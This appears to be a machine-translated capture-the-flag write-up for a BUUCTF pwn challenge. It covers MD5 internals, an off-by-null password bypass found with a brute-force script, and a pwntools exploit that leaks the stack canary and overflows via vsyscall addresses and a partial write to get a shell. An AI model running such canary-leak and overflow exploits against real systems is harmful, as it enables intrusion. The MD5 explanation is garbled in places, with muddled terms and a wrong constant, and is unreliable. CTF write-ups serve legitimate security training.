RELRO half open.
After you come in, you need to log in first.
The user name is admin, but the password is unknown.
Given a reverse, after research is md5
Why md5?
First, let's take a look at what md5 is.
First of all, no matter how long the input is, the output md5 value must be 16 bytes.
Also know that md5 there is something called standard magic number, also known as characteristic number.
It is 16 bytes. In hexadecimal, it is 0123456789abcdeffedcba9876543210
Generally, int data is common in our program. Because it is a small end sequence, what we see in the program is
0x67452301 0xefcdab89 0x98bacdfe 0x10325476.
So what will be done.
First, it will be filled, which will be multiplied by 512 bits and 448 bits. The rule is to add a 1 first, and the rest are 0
This complement must be done, even if it is a 512 bit integer multiplied by 448 bits.
Then add a length of 64 bytes. Finally, it becomes an integer multiple of 512.
512 bits are 64 bytes.
Each 64 byte is a group, and then the 64 bytes of each group are divided into 16 four bytes for standby.
Then, it defines four functions. The function is fixed, and it has seven inputs. There are four illusions, one four byte, and two constants.
Then bring in different 4 bytes for each function, calculate them respectively, and finally get the output of 16 bytes.
This 16 byte output will be treated as a new magic number and continue the next round of 512 bytes.
Then the last 16 bytes of output is the value of md5 we get.
Then, how do we do this problem, we will first see this thing.
So, it is almost 90% certain that it is an md5, but it is not ruled out that it may be nested outside md5.
It won't make some messy algorithm changes in md5. It's too stupid. Mature algorithms can't move around. Can only be nested.
The only way we can test him is to tune. Input it once, and then adjust it to get the final result. Run to the website and try it. The final result is the same, so we confirm that this is an md5
Back to this problem, md5 then, we can't get a positive solution to this problem because md5 is irreversible.
Moreover, you will find that what we md5 get is 16 bytes, but its last comparison value is obviously much more, not 16 bytes.
The positive solution is unlikely.
The problem is in this place.
There will obviously be an off by null. Turn what into null, and turn s2, that is, the first byte of the value from our last password md5, into null.
If we want to bypass this strcmp, we just need to ensure that the first byte after md5 is' \ x00 '.
So what? We have to blast.
import hashlib import string import itertools target_c = '00' for i in range(8): print(i) for mes in itertools.product(string.ascii_letters, repeat=i): if hashlib.md5((''.join(mes)).encode()).hexdigest().startswith(target_c): print(''.join(mes)) exit()
He uses the explosive displayable character to see which md5 first is 00
The product function is used.
It's gB.
After entering, there are two functions, a leak and an overflow.
Since canary is enabled, we just need to write out the '\ x00' of the last byte of canary and leak it.
Then the overflow set is taken away.
Note that PIE is enabled, so we can only use ret2vdso to find a more appropriate address on the stack and get the shell through partail write.
from pwn import* context.log_level = "debug" r = remote("node4.buuoj.cn", "26568") r.sendafter("please input username: ", "admin") r.sendafter("please input password: ", "gB" + '\x00' * 0x1e) backdoor = 0x4007d6 vsyscall = 0xffffffffff600000 r.sendlineafter("3.exit\n", "2") r.sendafter("your input:", "a" * 0x18 + 'b') r.sendlineafter("3.exit\n", "1") r.recvuntil('b') canary = u64(r.recv(7).rjust(8,'\x00')) r.sendlineafter("3.exit\n", "2") payload = 'a' * 0x18 + p64(canary) + 'a' * 8 + p64(vsyscall) * 4 + '\x9f' r.sendafter("your input:", payload) r.sendlineafter("3.exit\n", "3") r.interactive()